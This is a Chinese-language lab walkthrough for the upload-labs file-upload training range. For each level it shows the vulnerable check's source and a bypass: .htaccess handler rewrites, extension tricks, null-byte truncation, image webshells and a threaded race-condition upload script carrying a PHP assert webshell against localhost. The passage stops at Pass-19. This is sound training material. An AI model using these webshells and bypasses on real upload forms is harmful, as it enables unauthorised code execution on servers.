3. 文件上传靶机实战(附靶机跟writeup)

upload-labs

一个帮你总结所有类型的上传漏洞的靶场

文件上传靶机下载地址:https://github.com/c0ny1/upload-labs

运行环境

操作系统:推荐windows(除了Pass-19必须在linux下,其余Pass都可以在windows上运行)
php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件:php_gd2,php_exif(部分Pass需要开启这两个组件)
apache:以moudel方式连接

PS:为了节省时间,可下载Windows下集成环境,解压即可运行靶机环境。

总结

-----------------------------------------------------------------------------------------------------------------------

实验用小马

绕过方法

Pass-01

源代码:

 1 function checkFile() {
 2     var file = document.getElementsByName(‘upload_file‘)[0].value;
 3     if (file == null || file == "") {
 4         alert("请选择要上传的文件!");
 5         return false;
 6     }
 7     //定义允许上传的文件类型
 8     var allow_ext = ".jpg|.png|.gif";
 9     //提取上传文件的类型
10     var ext_name = file.substring(file.lastIndexOf("."));
11     //判断上传文件类型是否允许上传
12     if (allow_ext.indexOf(ext_name + "|") == -1) {
13         var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
14         alert(errMsg);
15         return false;
16     }
17 }

1.前端禁用JS,直接上传Webshell

2.把以.php结尾的小马改为以.jpg|.png|.gif结尾,用burpsuite抓包,在把.jpg|.png|.gif改回.php即可上传成功

Pass-02

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         if (($_FILES[‘upload_file‘][‘type‘] == ‘image/jpeg‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/png‘) || ($_FILES[‘upload_file‘][‘type‘] == ‘image/gif‘)) {
 6             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
 7                 $img_path = $UPLOAD_ADDR . $_FILES[‘upload_file‘][‘name‘];
 8                 $is_upload = true;
 9
10             }
11         } else {
12             $msg = ‘文件类型不正确,请重新上传!‘;
13         }
14     } else {
15         $msg = $UPLOAD_ADDR.‘文件夹不存在,请手工创建!‘;
16     }
17 }

由代码可知,对文件MIME类型进行了验证判断

截断上传数据包,修改Content-Type为image/gif,然后放行数据包

Pass-03

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(‘.asp‘,‘.aspx‘,‘.php‘,‘.jsp‘);
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12
13         if(!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR. ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
15                  $img_path = $UPLOAD_ADDR .‘/‘. $_FILES[‘upload_file‘][‘name‘];
16                  $is_upload = true;
17             }
18         } else {
19             $msg = ‘不允许上传.asp,.aspx,.php,.jsp后缀文件!‘;
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
23     }
24 }

1.这里是黑名单验证(‘.asp‘,‘.aspx‘,‘.php‘,‘.jsp‘),我们可上传php3,php5...等这样可以被服务器解析的后缀名

2.重写文件解析规则绕过。上传先上传一个名为.htaccess文件,内容如下:

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

如何创建.htaccess结尾的无文件名的文件

一句话木马的制作:https://blog.csdn.net/netuser1937/article/details/53738675/

然后再上传一个1.jpg

执行上传的1.jpg脚本

通过.htaccess文件调用php解析器去解析一个文件名中只要包含"1.jpg"这个字符串的任意文件,

无论扩展名是什么(没有也行),都以php的方式来解析

Pass-04

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12
13         if (!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
15                 $img_path = $UPLOAD_ADDR . $_FILES[‘upload_file‘][‘name‘];
16                 $is_upload = true;
17             }
18         } else {
19             $msg = ‘此文件不允许上传!‘;
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
23     }
24 }

分析代码发现,这里对上传的后缀名的判断增加了,php3.php5....已经不允许上传,但是没有限制.htaccess文件的上传,所以我们依然可以使用

重写文件解析规则绕过,方法同上题一样,这里不再赘述

Pass-05

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
10         $file_ext = trim($file_ext); //首尾去空
11
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
14                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = ‘此文件不允许上传‘;
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
22     }
23 }

分析代码,发现以.htaccess为后缀的文件已经不允许上传,但是  $file_ext = strtolower($file_ext); //转换为小写  这一句没有了,我们就可以使用文件名后缀大小写混合绕过,把1.php改为1.phP...来上传

Pass-06

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
11
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
14                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = ‘此文件不允许上传‘;
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
22     }
23 }

利用Windows系统的文件名特性。文件名最后增加空格和点,写成1.php .,这个需要用burpsuite抓包修改,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是1.php

果然上传成功

Pass-07

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_ext = strrchr($file_name, ‘.‘);
 8         $file_ext = strtolower($file_ext); //转换为小写
 9         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
10         $file_ext = trim($file_ext); //首尾去空
11
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
14                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = ‘此文件不允许上传‘;
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
22     }
23 }

原理同Pass-06,文件名后加点和空格,改成1.php.

Pass-08

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = trim($file_ext); //首尾去空
11
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
14                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = ‘此文件不允许上传‘;
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
22     }
23 }

分析代码,少了    $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA    这一句,我们可以采用Windows文件流特性绕过,文件名改成

1.php::$DATA , 上传成功后保存的文件名其实是1.php

Pass-09

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 7         $file_name = deldot($file_name);//删除文件名末尾的点
 8         $file_ext = strrchr($file_name, ‘.‘);
 9         $file_ext = strtolower($file_ext); //转换为小写
10         $file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //首尾去空
12
13         if (!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $_FILES[‘upload_file‘][‘name‘])) {
15                 $img_path = $UPLOAD_ADDR . ‘/‘ . $file_name;
16                 $is_upload = true;
17             }
18         } else {
19             $msg = ‘此文件不允许上传‘;
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
23     }
24 }

原理同Pass-06,上传文件名后加上点+空格+点,改为1.php. .

Pass-10

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 6
 7         $file_name = trim($_FILES[‘upload_file‘][‘name‘]);
 8         $file_name = str_ireplace($deny_ext,"", $file_name);
 9         if (move_uploaded_file($_FILES[‘upload_file‘][‘tmp_name‘], $UPLOAD_ADDR . ‘/‘ . $file_name)) {
10             $img_path = $UPLOAD_ADDR . ‘/‘ .$file_name;
11             $is_upload = true;
12         }
13     } else {
14         $msg = $UPLOAD_ADDR . ‘文件夹不存在,请手工创建!‘;
15     }
16 }

分析代码,由于 $file_name = str_ireplace($deny_ext,"", $file_name);   只对文件后缀名进行一次过滤,这样的话,双写文件名绕过,文件名改成1.pphphp

Pass-11

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if(isset($_POST[‘submit‘])){
 4     $ext_arr = array(‘jpg‘,‘png‘,‘gif‘);
 5     $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1);
 6     if(in_array($file_ext,$ext_arr)){
 7         $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
 8         $img_path = $_GET[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;
 9
10         if(move_uploaded_file($temp_file,$img_path)){
11             $is_upload = true;
12         }
13         else{
14             $msg = ‘上传失败!‘;
15         }
16     }
17     else{
18         $msg = "只允许上传.jpg|.png|.gif类型文件!";
19     }
20 }

分析代码,这是以时间戳的方式对上传文件进行命名,使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建

文件夹,上传的文件名写成1.jpg, save_path改成../upload/1.php%00,最后保存下来的文件就是1.php

Pass-12

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if(isset($_POST[‘submit‘])){
 4     $ext_arr = array(‘jpg‘,‘png‘,‘gif‘);
 5     $file_ext = substr($_FILES[‘upload_file‘][‘name‘],strrpos($_FILES[‘upload_file‘][‘name‘],".")+1);
 6     if(in_array($file_ext,$ext_arr)){
 7         $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
 8         $img_path = $_POST[‘save_path‘]."/".rand(10, 99).date("YmdHis").".".$file_ext;
 9
10         if(move_uploaded_file($temp_file,$img_path)){
11             $is_upload = true;
12         }
13         else{
14             $msg = "上传失败";
15         }
16     }
17     else{
18         $msg = "只允许上传.jpg|.png|.gif类型文件!";
19     }
20 }

原理同Pass-11,上传路径0x00绕过。利用Burpsuite的Hex功能将save_path改成../upload/1.php【二进制00】形式

Pass-13

源代码:

 1 function getReailFileType($filename){
 2     $file = fopen($filename, "rb");
 3     $bin = fread($file, 2); //只读2字节
 4     fclose($file);
 5     $strInfo = @unpack("C2chars", $bin);
 6     $typeCode = intval($strInfo[‘chars1‘].$strInfo[‘chars2‘]);
 7     $fileType = ‘‘;
 8     switch($typeCode){
 9         case 255216:
10             $fileType = ‘jpg‘;
11             break;
12         case 13780:
13             $fileType = ‘png‘;
14             break;
15         case 7173:
16             $fileType = ‘gif‘;
17             break;
18         default:
19             $fileType = ‘unknown‘;
20         }
21         return $fileType;
22 }
23
24 $is_upload = false;
25 $msg = null;
26 if(isset($_POST[‘submit‘])){
27     $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
28     $file_type = getReailFileType($temp_file);
29
30     if($file_type == ‘unknown‘){
31         $msg = "文件未知,上传失败!";
32     }else{
33         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
34         if(move_uploaded_file($temp_file,$img_path)){
35             $is_upload = true;
36         }
37         else{
38             $msg = "上传失败";
39         }
40     }
41 }

绕过文件头检查,添加GIF图片的文件头GIF89a,绕过GIF图片检查。

或者我们使用命令copy 1.jpg /b + shell.php /a webshell.jpg,将php一句话追加到jpg图片末尾,代码不全的话,人工补充完整。形成一个包含Webshell代码的新jpg图片,然后直接上传即可。但是我们没有办法拿到shell,应为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,或者配合解析漏洞

Pass-14

源代码:

 1 function isImage($filename){
 2     $types = ‘.jpeg|.png|.gif‘;
 3     if(file_exists($filename)){
 4         $info = getimagesize($filename);
 5         $ext = image_type_to_extension($info[2]);
 6         if(stripos($types,$ext)){
 7             return $ext;
 8         }else{
 9             return false;
10         }
11     }else{
12         return false;
13     }
14 }
15
16 $is_upload = false;
17 $msg = null;
18 if(isset($_POST[‘submit‘])){
19     $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
20     $res = isImage($temp_file);
21     if(!$res){
22         $msg = "文件未知,上传失败!";
23     }else{
24         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
25         if(move_uploaded_file($temp_file,$img_path)){
26             $is_upload = true;
27         }
28         else{
29             $msg = "上传失败";
30         }
31     }
32 }

getimagesize() 函数用于获取图像尺寸 ,索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

这里有详解:https://blog.csdn.net/sanbingyutuoniao123/article/details/52166617

image_type_to_extension() 函数用于获取图片后缀

Pass-15

源代码:

 1 function isImage($filename){
 2     //需要开启php_exif模块
 3     $image_type = exif_imagetype($filename);
 4     switch ($image_type) {
 5         case IMAGETYPE_GIF:
 6             return "gif";
 7             break;
 8         case IMAGETYPE_JPEG:
 9             return "jpg";
10             break;
11         case IMAGETYPE_PNG:
12             return "png";
13             break;
14         default:
15             return false;
16             break;
17     }
18 }
19
20 $is_upload = false;
21 $msg = null;
22 if(isset($_POST[‘submit‘])){
23     $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
24     $res = isImage($temp_file);
25     if(!$res){
26         $msg = "文件未知,上传失败!";
27     }else{
28         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
29         if(move_uploaded_file($temp_file,$img_path)){
30             $is_upload = true;
31         }
32         else{
33             $msg = "上传失败";
34         }
35     }
36 }
exif_imagetype()  此函数是php内置函数,用来获取图片类型
 

Pass-16

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])){
 4     // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
 5     $filename = $_FILES[‘upload_file‘][‘name‘];
 6     $filetype = $_FILES[‘upload_file‘][‘type‘];
 7     $tmpname = $_FILES[‘upload_file‘][‘tmp_name‘];
 8
 9     $target_path=$UPLOAD_ADDR.basename($filename);
10
11     // 获得上传文件的扩展名
12     $fileext= substr(strrchr($filename,"."),1);
13
14     //判断文件后缀与类型,合法才进行上传操作
15     if(($fileext == "jpg") && ($filetype=="image/jpeg")){
16         if(move_uploaded_file($tmpname,$target_path))
17         {
18             //使用上传的图片生成新的图片
19             $im = imagecreatefromjpeg($target_path);
20
21             if($im == false){
22                 $msg = "该文件不是jpg格式的图片!";
23             }else{
24                 //给新图片指定文件名
25                 srand(time());
26                 $newfilename = strval(rand()).".jpg";
27                 $newimagepath = $UPLOAD_ADDR.$newfilename;
28                 imagejpeg($im,$newimagepath);
29                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
30                 $img_path = $UPLOAD_ADDR.$newfilename;
31                 unlink($target_path);
32                 $is_upload = true;
33             }
34         }
35         else
36         {
37             $msg = "上传失败!";
38         }
39
40     }else if(($fileext == "png") && ($filetype=="image/png")){
41         if(move_uploaded_file($tmpname,$target_path))
42         {
43             //使用上传的图片生成新的图片
44             $im = imagecreatefrompng($target_path);
45
46             if($im == false){
47                 $msg = "该文件不是png格式的图片!";
48             }else{
49                  //给新图片指定文件名
50                 srand(time());
51                 $newfilename = strval(rand()).".png";
52                 $newimagepath = $UPLOAD_ADDR.$newfilename;
53                 imagepng($im,$newimagepath);
54                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
55                 $img_path = $UPLOAD_ADDR.$newfilename;
56                 unlink($target_path);
57                 $is_upload = true;
58             }
59         }
60         else
61         {
62             $msg = "上传失败!";
63         }
64
65     }else if(($fileext == "gif") && ($filetype=="image/gif")){
66         if(move_uploaded_file($tmpname,$target_path))
67         {
68             //使用上传的图片生成新的图片
69             $im = imagecreatefromgif($target_path);
70             if($im == false){
71                 $msg = "该文件不是gif格式的图片!";
72             }else{
73                 //给新图片指定文件名
74                 srand(time());
75                 $newfilename = strval(rand()).".gif";
76                 $newimagepath = $UPLOAD_ADDR.$newfilename;
77                 imagegif($im,$newimagepath);
78                 //显示二次渲染后的图片(使用用户上传图片生成的新图片)
79                 $img_path = $UPLOAD_ADDR.$newfilename;
80                 unlink($target_path);
81                 $is_upload = true;
82             }
83         }
84         else
85         {
86             $msg = "上传失败!";
87         }
88     }else{
89         $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
90     }
91 }

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例

php图像二次渲染:

https://blog.csdn.net/hitwangpeng/article/details/48661433

https://blog.csdn.net/hitwangpeng/article/details/46548849

这两个讲的还可以

打开被渲染后的图片,Webshell代码仍然存在

提供一个jpg格式图片绕过imagecreatefromjpeg函数渲染的一个示例文件。 直接上传示例文件会触发Warning警告,并提示文件不是jpg格式的图片。但是实际上已经上传成功,而且示例文件名没有改变。

从上面上传jpg图片可以看到我们想复杂了,程序没有对渲染异常进行处理,直接在正常png图片内插入webshell代码,然后上传示例文件即可,并不需要图片是正常的图片。

程序依然没有对文件重命名,携带webshell的无效损坏png图片直接被上传成功。

Pass-17

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3
 4 if(isset($_POST[‘submit‘])){
 5     $ext_arr = array(‘jpg‘,‘png‘,‘gif‘);
 6     $file_name = $_FILES[‘upload_file‘][‘name‘];
 7     $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
 8     $file_ext = substr($file_name,strrpos($file_name,".")+1);
 9     $upload_file = $UPLOAD_ADDR . ‘/‘ . $file_name;
10
11     if(move_uploaded_file($temp_file, $upload_file)){
12         if(in_array($file_ext,$ext_arr)){
13              $img_path = $UPLOAD_ADDR . ‘/‘. rand(10, 99).date("YmdHis").".".$file_ext;
14              rename($upload_file, $img_path);
15              unlink($upload_file);
16              $is_upload = true;
17         }else{
18             $msg = "只允许上传.jpg|.png|.gif类型文件!";
19             unlink($upload_file);
20         }
21     }else{
22         $msg = ‘上传失败!‘;
23     }
24 }

利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

 1 #!/usr/bin/env python
 2 # coding:utf-8 3
 4
 5 import hackhttp
 6 from multiprocessing.dummy import Pool as ThreadPool
 7
 8
 9 def upload(lists):
10     hh = hackhttp.hackhttp()
11     raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
12 Host: 127.0.0.1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
15 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
16 Accept-Encoding: gzip, deflate
17 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
18 Cookie: pass=17
19 Connection: close
20 Upgrade-Insecure-Requests: 1
21 Content-Type: multipart/form-data; boundary=---------------------------6696274297634
22 Content-Length: 341
23
24 -----------------------------6696274297634
25 Content-Disposition: form-data; name="upload_file"; filename="17.php"
26 Content-Type: application/octet-stream
27
28 <?php assert($_POST["LandGrey"])?>
29 -----------------------------6696274297634
30 Content-Disposition: form-data; name="submit"
31
32 上传
33 -----------------------------6696274297634--
34 """
35     code, head, html, redirect, log = hh.http(‘http://127.0.0.1/upload-labs/Pass-17/index.php‘, raw=raw)
36     print(str(code) + "\r")
37
38
39 pool = ThreadPool(10)
40 pool.map(upload, range(10000))
41 pool.close()
42 pool.join()

在脚本运行的时候,访问Webshell

Pass-18

源代码:

  1 //index.php
  2 $is_upload = false;
  3 $msg = null;
  4 if (isset($_POST[‘submit‘]))
  5 {
  6     require_once("./myupload.php");
  7     $imgFileName =time();
  8     $u = new MyUpload($_FILES[‘upload_file‘][‘name‘], $_FILES[‘upload_file‘][‘tmp_name‘], $_FILES[‘upload_file‘][‘size‘],$imgFileName);
  9     $status_code = $u->upload($UPLOAD_ADDR);
 10     switch ($status_code) {
 11         case 1:
 12             $is_upload = true;
 13             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
 14             break;
 15         case 2:
 16             $msg = ‘文件已经被上传,但没有重命名。‘;
 17             break;
 18         case -1:
 19             $msg = ‘这个文件不能上传到服务器的临时文件存储目录。‘;
 20             break;
 21         case -2:
 22             $msg = ‘上传失败,上传目录不可写。‘;
 23             break;
 24         case -3:
 25             $msg = ‘上传失败,无法上传该类型文件。‘;
 26             break;
 27         case -4:
 28             $msg = ‘上传失败,上传的文件过大。‘;
 29             break;
 30         case -5:
 31             $msg = ‘上传失败,服务器已经存在相同名称文件。‘;
 32             break;
 33         case -6:
 34             $msg = ‘文件无法上传,文件不能复制到目标目录。‘;
 35             break;
 36         default:
 37             $msg = ‘未知错误!‘;
 38             break;
 39     }
 40 }
 41
 42 //myupload.php
 43 class MyUpload{
 44 ......
 45 ......
 46 ......
 47   var $cls_arr_ext_accepted = array(
 48       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
 49       ".html", ".xml", ".tiff", ".jpeg", ".png" );
 50
 51 ......
 52 ......
 53 ......
 54   /** upload()
 55    **
 56    ** Method to upload the file.
 57    ** This is the only method to call outside the class.
 58    ** @para String name of directory we upload to
 59    ** @returns void
 60   **/
 61   function upload( $dir ){
 62
 63     $ret = $this->isUploadedFile();
 64
 65     if( $ret != 1 ){
 66       return $this->resultUpload( $ret );
 67     }
 68
 69     $ret = $this->setDir( $dir );
 70     if( $ret != 1 ){
 71       return $this->resultUpload( $ret );
 72     }
 73
 74     $ret = $this->checkExtension();
 75     if( $ret != 1 ){
 76       return $this->resultUpload( $ret );
 77     }
 78
 79     $ret = $this->checkSize();
 80     if( $ret != 1 ){
 81       return $this->resultUpload( $ret );
 82     }
 83
 84     // if flag to check if the file exists is set to 1
 85
 86     if( $this->cls_file_exists == 1 ){
 87
 88       $ret = $this->checkFileExists();
 89       if( $ret != 1 ){
 90         return $this->resultUpload( $ret );
 91       }
 92     }
 93
 94     // if we are here, we are ready to move the file to destination
 95
 96     $ret = $this->move();
 97     if( $ret != 1 ){
 98       return $this->resultUpload( $ret );
 99     }
100
101     // check if we need to rename the file
102
103     if( $this->cls_rename_file == 1 ){
104       $ret = $this->renameFile();
105       if( $ret != 1 ){
106         return $this->resultUpload( $ret );
107       }
108     }
109
110     // if we are here, everything worked as planned :)
111
112     return $this->resultUpload( "SUCCESS" );
113
114   }
115 ......
116 ......
117 ......
118 };

刚开始没有找到绕过方法,最后下载作者Github提供的打包环境,利用上传重命名竞争+Apache解析漏洞,成功绕过。

上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。

快速提交上面的数据包,可以让文件名字不被重命名上传成功。

然后利用Apache的解析漏洞,即可获得shell

Pass-19

源代码:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST[‘submit‘])) {
